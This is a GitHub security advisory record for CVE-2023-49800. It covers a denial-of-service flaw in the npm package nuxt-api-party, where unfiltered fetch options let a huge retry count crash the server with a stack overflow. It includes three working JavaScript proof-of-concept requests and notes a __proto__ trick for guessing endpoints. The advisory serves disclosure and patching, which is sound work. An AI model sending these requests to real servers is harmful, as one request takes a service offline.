{"id":"GHSA-q6hx-3m4p-749h","summary":"DOS by abusing `fetchOptions.retry`. ","details":"### Summary\n`nuxt-api-party` allows developers to proxy requests to an API without exposing credentials to the client. [`ofetch`](https://github.com/unjs/ofetch) is used to send the requests. \n\nThe library allows the user to send many options directly to `ofetch`. There is no filter on which options are available. We can abuse the retry logic to cause the server to crash from a stack overflow.\n\n### Details\n`fetchOptions` [are obtained directly from the request body](https://github.com/johannschopplich/nuxt-api-party/blob/777462e1e3af1d9f8938aa33f230cd8cb6e0cc9a/src/runtime/server/handler.ts#L27). These are then [passed directly into `ofetch`\n](https://github.com/johannschopplich/nuxt-api-party/blob/777462e1e3af1d9f8938aa33f230cd8cb6e0cc9a/src/runtime/server/handler.ts#L57C15-L57C15).\n\nWe can construct a URL we know will not fetch successfully, then set the retry attempts to a high value, this will cause a stack overflow as ofetch error handling works recursively. \n\n### PoC\nPOC using Node.\n\n```js\nawait fetch(\"http://localhost:3000/api/__api_party/MyEndpoint\", {\n    method: \"POST\",\n    body: JSON.stringify({ path: \"x:x\", retry: 9999999 }),\n    headers: { \"Content-Type\": \"application/json\" }\n})\n```\n\nWe can use `__proto__` as a substitute for the endpoint if it is not known.\n\n```js\nawait fetch(\"http://localhost:3000/api/__api_party/__proto__\", {\n    method: \"POST\",\n    body: JSON.stringify({ path: \"x:x\", retry: 9999999 }),\n    headers: { \"Content-Type\": \"application/json\" }\n})\n```\n\nWe can build the size of the stack faster by using more complicated URIs\n```js\nawait fetch(\"http://localhost:3000/api/__api_party/__proto__\", {\n    method: \"POST\",\n    body: JSON.stringify({ path: \"data:x;base64,----\", retry: 9999999 }),\n    headers: { \"Content-Type\": \"application/json\" }\n})\n```\n\n### Impact\nFull DOS, server is unusable during attack. Requires a single request. \n\n### Fix \nLimit which options can be passed to `ofetch`.\n","aliases":["CVE-2023-49800"],"modified":"2023-12-11T20:56:33.037565Z","published":"2023-12-11T20:29:10Z","database_specific":{"cwe_ids":["CWE-400","CWE-787"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2023-12-11T20:29:10Z","nvd_published_at":"2023-12-09T00:15:07Z"},"references":[{"type":"WEB","url":"https://github.com/johannschopplich/nuxt-api-party/security/advisories/GHSA-q6hx-3m4p-749h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-49800"},{"type":"PACKAGE","url":"https://github.com/johannschopplich/nuxt-api-party"}],"affected":[{"package":{"name":"nuxt-api-party","ecosystem":"npm","purl":"pkg:npm/nuxt-api-party"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.22.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/12/GHSA-q6hx-3m4p-749h/GHSA-q6hx-3m4p-749h.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}